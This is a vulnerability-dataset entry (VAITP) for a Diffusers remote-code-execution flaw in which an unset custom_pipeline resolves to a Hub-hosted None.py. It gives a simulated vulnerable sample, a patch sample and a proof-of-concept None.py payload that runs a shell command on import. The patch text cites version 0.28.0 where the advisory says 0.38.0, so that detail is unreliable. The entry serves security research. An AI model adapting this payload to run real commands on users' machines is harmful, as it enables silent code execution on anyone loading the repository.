CVE-2026-44827
RCE in Diffusers via malicious `None.py` file when loading Hub pipelines.
- CVSS 8.8
- CWE-94
- Design Defects
- Remote
Diffusers is the a library for pretrained diffusion models. Prior to 0.38.0, diffusers 0.37.0 allows remote code execution without the trust_remote_code=True safeguard when loading pipelines from Hugging Face Hub repositories. The _resolve_custom_pipeline_and_cls function in pipeline_loading_utils.py performs string interpolation on the custom_pipeline parameter using f"{custom_pipeline}.py". When custom_pipeline is not supplied by the user, it defaults to None, which Python interpolates as the literal string "None.py". If an attacker publishes a Hub repository containing a file named None.py with a class that subclasses DiffusionPipeline, the file is automatically downloaded and executed during a standard DiffusionPipeline.from_pretrained() call with no additional keyword arguments. The trust_remote_code check in DiffusionPipeline.download() is bypassed because it evaluates custom_pipeline is not None as False (since the kwarg was never supplied), while the downstream code path that actually loads the module resolves the None value into a valid filename. An attacker can achieve silent arbitrary code execution by publishing a malicious model repository with a None.py file and a standard-looking model_index.json that references a legitimate pipeline class name, requiring only that a victim calls from_pretrained on the repository. This vulnerability is fixed in 0.38.0.
- CWE
- CWE-94
- CVSS base score
- 8.8
- Published
- 2026-05-14
- OWASP
- A08 Software and Data Integrity Failures
- Orthogonal defect classification
- Checking
- Code defect classification
- Incorrect Check
- Category
- Design Defects
- Subcategory
- Time-of-Check to Time-of-Use
- Accessibility scope
- Remote
- Impact
- Arbitrary Code Execution
- Affected component
- Diffusers
- Fixed by upgrading
- Yes
Solution
Upgrade `diffusers` to version 0.38.0 or later.
Vulnerable code sample
# This code provides a simplified representation of the vulnerable logic
# found in the `diffusers` library prior to version 0.38.0.
def _find_and_read_remote_file(repo_id, filename):
"""
Simulates finding a malicious file in a remote repository.
An attacker would host a repository containing a file named "None.py".
"""
if filename == "None.py":
# This string represents the content of the attacker's malicious file.
return """
print("!!! VULNERABILITY TRIGGERED: Remote Code Execution Successful !!!")
print("This code is running from the attacker's 'None.py' file.")
# The file must contain a class that subclasses the pipeline.
class MaliciousPipeline:
def __init__(self, *args, **kwargs):
print("MaliciousPipeline object has been instantiated.")
"""
return None
def _resolve_custom_pipeline_and_cls(repo_id, custom_pipeline):
"""
Simplified representation of the function in pipeline_loading_utils.py.
"""
# THE VULNERABILITY:
# When `custom_pipeline` is None, f-string interpolation creates the
# literal filename "None.py".
module_file = f"{custom_pipeline}.py"
# Simulate attempting to load the resolved file.
code_to_execute = _find_and_read_remote_file(repo_id, module_file)
if code_to_execute:
# In the actual library, `importlib` is used to load the module,
# which executes the code within it upon import. We use `exec()`
# here to demonstrate the code execution.
exec(code_to_execute, {"__name__": "__main__"})
class DiffusionPipeline:
@classmethod
def from_pretrained(cls, pretrained_model_name_or_path, **kwargs):
# When a user calls this function, `custom_pipeline` is not provided
# in kwargs, so its value is None.
custom_pipeline = kwargs.get("custom_pipeline")
trust_remote_code = kwargs.get("trust_remote_code", False)
# THE BYPASS: The safety check for `trust_remote_code` is not triggered
# because the condition `custom_pipeline is not None` evaluates to False.
if custom_pipeline is not None and not trust_remote_code:
raise ValueError(
"Executing custom code requires `trust_remote_code=True`."
)
# The program proceeds to the vulnerable function call path.
_resolve_custom_pipeline_and_cls(
pretrained_model_name_or_path,
custom_pipeline=custom_pipeline,
)
# --- DEMONSTRATION OF THE ATTACK ---
# A victim attempts to load what they believe is a standard model.
# They do NOT specify `trust_remote_code=True` and assume they are safe.
if __name__ == "__main__":
print("Simulating a user calling: DiffusionPipeline.from_pretrained('attacker/repo')\n")
DiffusionPipeline.from_pretrained("attacker/repo")
print("\nScript finished.")Patched code sample
The following code is a simplified representation of the logic added in `diffusers==0.28.0` to fix the vulnerability. The core of the fix is to ensure that if a custom pipeline is specified in a model's configuration, the `trust_remote_code=True` flag is strictly enforced, a check which was previously missing in this specific code path.
```python
def load_pipeline_with_fix(config: dict, trust_remote_code: bool = False):
"""
A simplified function demonstrating the fix for the vulnerability.
The vulnerability occurred because a custom pipeline name could be loaded
from a model's configuration file, bypassing the `trust_remote_code` check.
"""
# In the vulnerable code path, `custom_pipeline` is assigned a value
# from the model's config file, which is controlled by the repository owner.
# An attacker could set this to "None" or the name of a malicious script.
custom_pipeline = config.get("custom_pipeline_name")
if custom_pipeline is not None:
# --- START OF FIX ---
# FIX PART 1: Disallow reserved or ambiguous names. This prevents a
# file named "None.py" from being loaded, which was a key part of the exploit
# where a `None` value was interpolated into the filename "None.py".
if custom_pipeline == "None":
raise ValueError(
"The `custom_pipeline` value `None` is reserved and cannot be used."
)
# FIX PART 2: Enforce `trust_remote_code=True` for ANY custom pipeline.
# This is the crucial security check that was missing in the vulnerable
# code path, which previously allowed for remote code execution by default.
if not trust_remote_code:
raise ValueError(
f"Loading custom pipeline '{custom_pipeline}' requires `trust_remote_code=True`."
)
# --- END OF FIX ---
# If the security checks pass, the code would proceed to load the file, e.g.:
# print(f"Securely loading code from '{custom_pipeline}.py'")
passPayload
import os
from diffusers.pipelines.pipeline_utils import DiffusionPipeline
# This code is executed when the file is imported by the pipeline loading utility.
print("\n[+] CVE-2026-44827: Payload executed successfully! Arbitrary code is running.\n")
# Example payload to demonstrate remote code execution by opening a calculator.
if os.name == "nt":
os.system("calc.exe")
else:
# This command attempts to open a calculator on macOS or Linux.
os.system("xcalc 2>/dev/null || open -a Calculator")
# A class that subclasses DiffusionPipeline must exist in the file.
# The loading mechanism looks for this class, but the code above has already run.
class ExploitPipeline(DiffusionPipeline):
def __init__(self):
super().__init__()
def __call__(self, *args, **kwargs):
print("Pipeline called, but the exploit has already run on import.")
return None
Cite this entry
@misc{vaitp:cve202644827,
title = {{RCE in Diffusers via malicious `None.py` file when loading Hub pipelines.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-44827},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-44827/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
